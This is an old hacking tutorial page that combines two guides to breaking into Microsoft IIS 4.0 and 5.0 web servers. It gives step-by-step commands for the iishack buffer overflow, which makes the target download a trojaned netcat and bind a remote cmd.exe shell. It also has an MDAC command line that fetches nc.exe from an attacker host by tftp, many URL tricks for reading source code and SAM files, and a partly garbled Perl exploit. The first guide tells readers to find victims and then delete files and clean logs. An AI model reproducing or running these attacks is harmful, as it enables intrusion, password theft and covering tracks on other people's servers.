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Hacking IIS Tutorial

deface : frontpage : rds : main

The Internet Information Server Attack - Remote buffer overflow exploit.

By r00tsec from Security Espionage Community.

Revised 03/16/00.

This site is also available in plain text.


This text goes out to all those NT hackers out there. It is based on the info I have from eEye Digital Security Team, which found the exploit, and my own experience.

Note: All the files used in this paper can be found at the main page.

According to eEye Digital Security Team the systems affected include:

Internet Information Server 4.0 (IIS4)

Microsoft Windows NT 4.0 SP3 Option Pack 4

Microsoft Windows NT 4.0 SP4 Option Pack 4

Microsoft Windows NT 4.0 SP5 Option Pack 4

I performed the attack from a Windows NT 4.0 machine with the required programs:


ncx.exe or ncx99.exe or BertzSvc.exe

Ncx.exe is a hacked up version of the program netcat.exe. Ncx.exe always passes -l -p 80 -t -e cmd.exe as its argument, which means that it binds cmd.exe to port 80. The eEye people has received some reports from people not being able use the ncx.exe, so they have made another hacked up version of netcat.exe, ncx99.exe. Ncx99.exe binds cmd.exe to port 99 instead of port 80, which should solve the problem. The reason of why ncx.exe doesn't work sometimes is that inetinfo.exe has to be exited, before it can work. Ncx.exe fits under the description Trojan horse! To kick inetinfo.exe use avoid.exe (which also soon will be available at the web site). BertzSvc.exe binds cmd.exe to port 123 instead.

How to do it:

First of all you'll need a server running IIS4, NT4 and/or SP3/4/5 + OP4. To find such, go to www.netcraft.com or you favorite “what's-this-site-running-search-engine” and find a victim running the affected system.Second, you need to craft a buffer overrun about 3 k on the target machine!

Then launch iishack.exe via the command prompt in WinNT.


--------(IIS 4.0 remote buffer overflow exploit)----------

© dark spyrit -- barns@eeye.com. http://www.eEye.com

[usage: iishack <host> <port> <url> ]

eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe

do not include 'http://' before hosts!


Then issue the command as you can see beneath ex.

C:\>iishack www.victim.com 80 YourOwnIpAddress/ncx.exe

Output (if successful):

Data sent!

note: Give it (the IIS) enough time to download ncx.exe. Hint: Use Rasmon.exe to monitor your outgoing bytes.

After that type telnet www.victim.com 80 in cmd.exe or in the start/run menu.


Microsoft® Windows NT

© Copyright 1985-1996 Microsoft Corp.


Voila! Access granted!

Do you whatever you wanna do, but remember to:

- add a scheduled task to restart inetinfo.exe in X minutes. (AT command will do it)

- add a scheduled task to delete ncx.exe X-1 minutes.

- clean the log files (if there are any).

Corrections, suggestions or comments are accepted here


Hi Folks,

i have just compiled the well-known IIS tricks. I hope it

will be helpful for securing your server.

any comment,suggestion or insult...? wellcome




by Mount Ararat Blossom




01- Abstract

I am not sure what you want to get out of this but basically this paper

is intended on breaking merely IIS web servers especially versions 4.0 and

5.0 via TCP/IP over the port 80. This techniques works against even

so-called secure networks just because every network even those secured ones

lets HTTP connections in.


02- Intro

Alright so you all wanna know how to break into IIS web servers? First off,

you should find a cgi-scanner so that things will get easier. My personnel

preferences are

"whisker" by "rain forest puppy" (www.wiretrip.net/rfp).

"cis" by "mnemonix" (www.cerberus-infosec.co.uk)

To understand which server is running on the victim site

telnet <victim> 80


and there you go with the name and the version of the web server. However

some sites might run their web servers over 8080, 81, 8000, 8001, and so on.

To understand SSL web servers, which provides encryption between the web

server and the browser we use the tool "ssleay"

s_client -connect <victim>:443

HEAD / HTTP /1.0

and here we go again.

As i am writing this i am hoping that you will be able to use this to

secure your web servers instead of using this to break into others.


03- Game Starts

========IIS HACK=====

The folks at www.eeye.com, have found a vulnerability on IIS 4.0 which

allows us to upload a crafted version of netcat (hacker's swiss army knife)

onto victim server and binds a cmd.exe on port 80.

The vulnerabliy was a bufferoverflow in .htr .idc and .stm files. The

problem is with insufficient bounds checking of the names in the URL for

.htr .stm and .idc files, allowing hackers to insert some backdoors to

download and execute arbitrary commands on the local system as the

administrator user.

To hack the victim site we need


ncx.exe (you can find these two at


plus we need a web server running at our attacking box.

First off, run the web server on your attacking box and place

the ncx.exe on your root directory.

then run iishack.exe against the victim site

c:\>iishack.exe <victim> 80 <evil_hacker>/ncx.exe

Then here we go, go and get your swiss army knife, namely netcat,

c:\>nc <victim> 80 ==============>>>BOOM!

the command promt from the victim site suddenly appears on your box !!!

D:\> or whatever it is , C;E;...

do you want me to xplain what to do next, hey common you must be kidding


=========MDAC- Local Command Execution===========

You might think that it is a years-old vulnerability, however what i see on

pen-tests is that almost 40% of IIS web servers are still vulnerable to


IIS' MDAC component has a vulnerability where an attacker can submit

commands for local execution.

The core problem is with the RDS Datafactory. By default, it allows remote

commands to be sent to the IIS server. The commands will be run as the

effective user of the service, which is typically the SYSTEM user.

I wont get into details, if you want go and check RFP's web

site. However, you can find a vulnerable site by checking

c:\>nc -nw -w 2 <victim> 80

GET /msadc/msadcs.dll HTTP

and if you get the following


it is most probably vulnerable if not patched.

You can find the exploit, mdac.pl and msadc2.pl from rain forest puppy's

web site at www.wiretrip.net/rfp It checks for the vulnerability and if it

is vulnerable then it asks for the command you wanna execute:

c:\> mdac.pl -h <victim>

Please type the NT commandline you want to run (cmd /c assumed):\n

cmd /c

if you wanna change the web site which is located at


then you can type:

cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm

or what ever you want but my personnal preference is uploading our swiss

army knife, netcat, and binding it to the cmd.exe to the port 80. To do that

i set up my TFTP server and put nc.exe in it. Then when i am asked to type

the command i want to execute, i type the following:

cmd/c cd %systemroot%&&tftp -i <evil_hacker> GET nc.exe&&del ftptmp

&& attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe

there you go, go on fire your netcat against the victim over port 80, you

get the eggshell, cmd.exe.....

=========Codebrws.asp & Showcode.asp ==================

Codebrws.asp and Showcode.asp is a viewer file that ships with Microsoft

IIS, but is

not installed by default. The viewer is intended to be installed by the

administrator to allow for the viewing of sample files as a learning

exercise; however, the viewer does not restrict what files can be accessed.

A remote attacker can exploit this vulnerability to

view the contents of any file on the victim's server. However, there are

several issues to be aware of:

1. Codebrws.asp and showcode.asp are not installed by default.

2. The vulnerability only allows for viewing of files.

3. The vulnerability does not bypass WindowsNT Access Control Lists


4. Only files in the same disk partition can be viewed.

5. Attackers must know the location of the requested file.

Lets say you wanna see the code of codebrws.asp request the following from

the from your favorite web browser,



then you will see the source code of codebrws.asp

For using showcode.asp, do the following again from your infamous browser


There you go, you get the infamous sam._ file, copy it, expand it and crack

it using Lophtcrack, my personal choise, and you will get all user passwords

even the administrator one.


Microsoft IIS running with Index Server contains a vulnerability

through Null.htw even if no .htw files exist on the server. Thevulnerability

displays the source code of an ASP page or otherrequested file. The ability

to view ASP pages could provide sensitive information such as usernames and

passwords. An attacker providing IIS with a malformed URL request could

escape the virtual directory, providing access to the logical drive and root

directory. The "hit-highlighting" function in the Index Server does not

adequately restrain what types of files may be requested, allowing an

attacker to

request any file on the server. Microsoft has released a patch for Windows

2000 addressing this vulnerability.

Null.htw function has 3 variables which gets their inputs from the user.

These variables are as follows





Say that, we wanna see the source code of default.asp, the type the

following from your favorite browser


and you will get the source of default.asp file.

========webhits.dll & .htw================

The hit-highligting functionality provided by Index Server allows a web

user to have a document with their original search terms highlighted on the

page. The name of the document is passed to .htw file with the CiWebhitsfile

argument. Webhits.dll, the ISAPI Application that deals with the request,

opens the file highlights accordingly and returns the resulting page. As the

user has control of the CiWebhitsfile argument passed to the .htw file they

can request anything they want. And the real problem is that, they can view

the source of ASP and other scripted pages.

To unserstand you are vulnerable, request the following from the site


if you get the following from the server

format of the QUERY_STRING is invalid

it means that you are vulnerable.

The problem is because of webhits.dll (an ISAPI Application) associated to

.htw files. You can find the .htw files in the following locations of

infamous IIS web server,





/isshelp/iss/misc/iirturnh.htw (this is normally for loopback)

An attacker, for instance view the contents of sam._ file as follows


will reveal the contents of sam._ file, which is binary, you should copy

it, expand it and crack it as i explained several times before.

===ASP Alternate Data Streams(::$DATA)==================

The $DATA vulnerability, published in mid-1998, results from an error

in the way the Internet Information Server parses file names. $DATA is an

attribute of the main data stream (which holds the "primary content") stored

within a file on NT File System (NTFS). By creating a specially constructed

URL, it is possible to use IIS to access this data stream from a browser.

Doing so will display the code of the file

containing that data stream and any data that file holds. This method can be

used to display a script-mapped file that can normally be acted upon only by

a particular Application Mapping. The contents of these files are not

ordinarily available to users. However, in order to display the file, the

file must reside on the NTFS partition and must

have ACLs set to allow at least read access; the unauthorized user must also

know the file name. Microsoft Windows NT Server's IIS versions 1.0, 2.0, 3.0

and 4.0 are affected by this vulnerability.

Microsoft has produced a hotfix for IIS versions 3.0 and 4.0. The fix

involves IIS "supporting NTFS alternate data streams by asking Windows

NT to make the file name canonical" according the Microsoft.

To view or get the source of an .asp code, type the following from your



and you will get the source code.

=========ASP Dot Bug====================

The famous Lopht group has discovered the ASP dot bug in 1997. The

vulnerability involved being able to reveal ASP source code to attackers. By

appending one or more dots to the end of an ASP URL under IIS 3.0, it was

possible to view the ASP source code.

The exploit worked by appending a dot the end of an ASP as follows


======ISM.DLL Buffer Truncation===============

This bug was found by Cerberus Information Security team. It runs on IIS

4.0 and 5.0. that allows attackers to view the content of files and source

code of scripts.

By making a specially formed request to IIS, with the name of the file and

then appending around 230 + “ %20 “ (these represents spaces) and then

appending “ .htr ” this tricks IIS into thinking that the client is

requesting a “ .htr “ file . The .htr file extension is mapped to the

ISM.DLL ISAPI Application and IIS redirects all requests for .htr rsources

to this DLL.

ISM.DLL is then passed the name of the file to open and execute but before

doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and

a few spaces and ends up opening the file we want to get source of. The

contents are then returned.

This attack can only be launched once though., unless the web service

started and stopped. It will only work when ISM.DLL first loaded into


An attacker can view the source of global.asa, for instance, as follows


will reveal the source of global.asa

==========.idc & .ida Bugs=======================

This exploit, actually, similar to ASP dot bug, however this time we get

the path of web directory on IIS 4.0. I have even seen this bug working on

IIS 5.0 on my pen-tests. By adding an “.idc” or “.ida” extension to the end

of URL will cause IIS installations to try to run the so-called .IDC through

the database connector .DLL. If the .idc doesnt exists, than it will return

rather informative about the server.

http://www.victim.com/anything.idc or anything.idq

you will get the path.

============+.htr Bug===========================

This exploit is also ever so similar to dot asp bug and you can get the

source code of ASA and ASP files by appending a +.htr to the URL of asp and

asa files.


you may get the source code to browse

===========NT Site Server Adsamples Vulnerability ======

By requesting site.csc, which is normally located in


The attacker may be able to retrieve the DSN, UID and PASS of the database

as this file may contain them.

By typing the following


the attacker will download the file site.csc and (s)he can get some

important data.

==========Password Attack to User Accounts===========

IIS 4.0 has an interesting feature that can allow a remote attacker to

attack user accoounts local to the web server as well as other machines

across to the internet. Added to this if your Web server is behind a

firewall performing NAT (network address translation), machines on inside

could be attacked as well.

By default every install of IIS 4.0 creates a virtual directory “

/iisadmpwd “. This directory contains a number of .htr files. Anonymous

users are allowed to access this files, they are not restricted to loopback

address( The following is a list of files found in the .iisadmpwd

directory, which physically maps to c:\winnt\system32\inetsrv\iisadmpwd










This files are pretty much of the same variants of the same file and allow

a user to change their password via web. It can also be used to enumerate

valid accounts through guess work.

If the user account does not exist, a message will be returned saying

“invalid domain”.

If the account exists, but the password is wrong then the message will say


If an IP address followed by a backslash precedes the account name then the

IIS server will contact the remote machine, over the NetBIOS session port

139, and attempt to change to user’s password. (x.x.x.x\ACCOUNTNAME)

Therefore, if you do not need this service, remove the /iisadmpwd

directory. This will prevent attackers.

=============Translate:f Bug ====================

Daniel Docekal brought this issue in BugTraq this summer, August 15, 2000.

(www.securityfocus.com/bid/1578) The actual problem is with the WebDAV

implementation in office 2000 and FrontPage 2000 Server Extensions.

When someone makes a request for ASP/ASA or anyother scriptable page and

adds “translate:f “ into headers of HTTP GET (headers are not part of URL,

part of HTTP request), then they are come up with complete ASP/ASA source

code on Win2K SP1 not installed.

Translate:F is a legitimate header for WebDAV and is used in WebDAV

compatible client and in FP2000 to get the file for editing.

Simple adding of “translate:f” and placing “/” at the end of request to HTTP

GET will lead in security bug.

It is a Win2K bug, but due to FP2000 installed IIS4.00, it is also a IIS4.0


You can use the following perl script to use this exploit.


use IO::Socket; #

my ($port, $sock,$server); #

$size=0; #








sub connect {

if ($#ARGV < 1) {




$ver="GET /$cm%5C HTTP/1.0

Host: $server

Accept: */*

Translate: f



$iaddr = inet_aton($server) || die "Error: $!";

$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";

$proto = getprotobyname('tcp') || die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:


connect(SOCK, $paddr) || die "Error: $!";

send(SOCK, $ver, 0) || die "Can't to send packet: $!";

open(OUT, ">$server.txt");

print "Dumping $cm to $server.txt \n";

while(<SOCK>) {

print OUT <SOCK>;


sub howto {

print "type as follows: Trans.pl www.victim.com codetoview.asp \n\n";


close OUT;






If we call the script as translate.pl then we can get a ASA/ASP source code

as follows

Trasn.pl www.victim.com codetoview.asp

And there you go, you get the source code of codeview.asp.

04- Conclusion

All the information i have given you has been widely used in wild. However

what i tried to do was just to collect all these information together as to

check the security of our famous IIS 4.0 and 5.0. Wheneveri encounter a IIS

web server during my pen-tests, i do check for these vulnerabilities and

most of the time one of these works.

I hope that, what i written was helped you in some way. Thanks for reading

it, please continue to support me as i continue to release this sortta

papers. If you wanna learn more, please check the mentioned people’s web

sites for more details and you can even write to me.

Peace in mind

Watch your servers in wild

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